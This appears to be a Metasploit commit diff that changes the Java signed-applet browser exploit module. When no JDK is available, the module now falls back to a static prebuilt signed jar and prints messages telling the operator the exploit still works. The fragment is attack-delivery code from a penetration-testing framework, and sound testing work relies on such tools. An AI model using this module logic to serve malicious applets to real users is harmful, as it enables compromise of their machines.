Adds static signed jar and user messages letting them know.
git-svn-id: file:///home/svn/framework3/trunk@8328 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
42b331b47f
commit
3ecabe1be9
Binary file not shown.
|
@ -113,6 +113,16 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
# Currently doing all processing in on_request_uri.
|
||||
# If this is too slow, we can move applet generation up here.
|
||||
#
|
||||
|
||||
@use_static = false
|
||||
|
||||
if not @jvm_init
|
||||
print_error
|
||||
print_error "JVM not initialized. You must install the Java Development Kit, the rjb ruby gem, and set the $JAVA_HOME variable."
|
||||
print_error "Falling back to static signed applet. This exploit will still work, but the CERTCN and APPLETNAME variables will be ignored."
|
||||
print_error
|
||||
@use_static = true
|
||||
end
|
||||
super
|
||||
end
|
||||
|
||||
|
@ -374,6 +384,7 @@ public class #{datastore['APPLETNAME']} extends Applet
|
|||
end
|
||||
end
|
||||
|
||||
if not @use_static
|
||||
appletcode = get_code(cli)
|
||||
|
||||
print_status "Compiling applet classes..."
|
||||
|
@ -397,6 +408,9 @@ public class #{datastore['APPLETNAME']} extends Applet
|
|||
sign_jar( datastore['CERTCN'], unsignedjar, @signedjar )
|
||||
|
||||
print_status "Jar signed. Ready to send."
|
||||
else
|
||||
print_status "Using static, signed jar. Ready to send."
|
||||
end
|
||||
|
||||
# TODO: gzip data and parse in java
|
||||
send_response_html( cli, generate_html( data, host, port ), { 'Content-Type' => 'text/html' } )
|
||||
|
@ -404,8 +418,13 @@ public class #{datastore['APPLETNAME']} extends Applet
|
|||
end
|
||||
|
||||
# load the jar file
|
||||
if File.exists? File.join( datastore['JAVACACHE'], @signedjar )
|
||||
if @use_static
|
||||
path = File.join( Msf::Config.install_root, "data", "exploits", "java_signed_applet.jar" )
|
||||
elsif File.exists? File.join( datastore['JAVACACHE'], @signedjar )
|
||||
path = File.join( datastore['JAVACACHE'], @signedjar )
|
||||
end
|
||||
|
||||
if path
|
||||
fd = File.open( path, "rb" )
|
||||
@jar_data = fd.read(fd.stat.size)
|
||||
fd.close
|
||||
|
|
Loading…
Reference in New Issue